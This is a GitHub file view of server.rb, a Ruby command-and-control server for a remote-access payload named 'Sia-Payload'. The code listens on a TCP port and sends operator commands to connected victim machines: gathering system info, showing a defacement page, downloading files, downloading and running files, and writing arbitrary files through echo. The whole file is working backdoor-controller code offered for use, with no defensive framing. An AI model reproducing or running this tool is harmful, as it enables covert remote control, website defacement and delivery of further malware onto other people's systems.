-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathserver.rb
executable file
·134 lines (110 loc) · 4.59 KB
/
server.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/ruby
require "socket"
require "colorize"
require "timeout"
require "readline"
####### TEXT COLOR #######
RS="\033[0m" # reset
HC="\033[1m" # hicolor
FRED="\033[31m" # foreground red
FGRN="\033[32m" # foreground green
FWHT="\033[37m" # foreground white
PURPLE = "\e[35m"
DARK_BLUE = "\e[34m"
BOLD = "\e[1m" # bold text
RED = "\e[1m\e[31m"
if RUBY_PLATFORM =~ /win32/
system("cls")
else
system("clear")
end
#Show progress bar
(1..10).each do |percent|
print "#{BOLD}#{RED}#{percent*10}% Start Server Sia-Payload...\r"
sleep(0.5)
print ("\e[K") # Delete current line
end
puts "Done!#{RS}"
sleep(2)
if RUBY_PLATFORM =~ /win32/
system("cls")
else
system("clear")
end
#press CTRL + C show message
trap("SIGINT") {
puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected closing Socket connection#{FWHT}.....#{RS}"
exit 666
}
puts """
███████╗██╗ █████╗ ██████╗ █████╗ ██╗ ██╗██╗ ██████╗ █████╗ ██████╗
██╔════╝██║██╔══██╗ ██╔══██╗██╔══██╗╚██╗ ██╔╝██║ ██╔═══██╗██╔══██╗██╔══██╗
███████╗██║███████║ ██████╔╝███████║ ╚████╔╝ ██║ ██║ ██║███████║██║ ██║
╚════██║██║██╔══██║ ██╔═══╝ ██╔══██║ ╚██╔╝ ██║ ██║ ██║██╔══██║██║ ██║
███████║██║██║ ██║ ██║ ██║ ██║ ██║ ███████╗╚██████╔╝██║ ██║██████╔╝
╚══════╝╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
Coded By ViRuS007
Email: virus007@protonmail.com
Twitter : @Vi47S007
Command :
info => Get system info (ip, host name ...)
siahack => Show your deface webpage
download => Download file(config url in payload.rb file)
down-run => Download and run file(config url in payload.rb file)
makeFile => Making file
"""
LIST_H = [
"info" , "siahack", "download",
"down-run", "makeFile"
].sort
comp = proc { |s| LIST_H.grep( /^#{Regexp.escape(s)}/ ) }
Readline.completion_append_character = " "
Readline.completion_proc = comp
port = 8001
puts "#{HC}#{FGRN}[+] Starting Server at port : #{port} #{RS}"
time = Time.now
puts "#{HC}#{FGRN}[+] Start at : #{time}#{RS}"
server = TCPServer.open(port) # Socket to listen on port 2000
loop { # Servers run forever
Thread.start(server.accept) do |client|
puts "#{HC}[+] Client Connected!#{RS}"
while true
#if client is disconnected show this message
puts "#{HC}#{FRED}[*] Client is Offline!#{RS}" if client.closed?
#print "\n[+] Enter Command : ".blue
#com = gets.chomp
#client.puts(com)
while com = Readline.readline("\n#{BOLD}[+] #{PURPLE}root@sia-payload#{DARK_BLUE}:~# #{RS}", true)
#make file in target system
if com == "makeFile"
name_file = Readline.readline("\n#{BOLD}[+] Enter your File name : #{RS}", true)
text_file = Readline.readline("\n#{BOLD}[+] Enter your Text : #{RS}", true)
finish_com = "echo #{text_file} > #{name_file}"
#send to target
client.puts(finish_com)
end
client.puts(com)
puts "\n+------------------------------------------------------------+"
#res = client.recv(10000).red
begin
Timeout::timeout(5) do
res = client.recv(1000).red
if res == ""
while com = Readline.readline("\n#{BOLD}[+] #{PURPLE}root@sia-payload#{DARK_BLUE}:~# #{RS}", true)
client.puts(com)
end
#else
else
puts res
end
puts "+------------------------------------------------------------+"
end
rescue Timeout::Error
#print "\n[+] Enter Command : ".blue
#com = gets.chomp
#client.puts(com)
end
end
end
end
}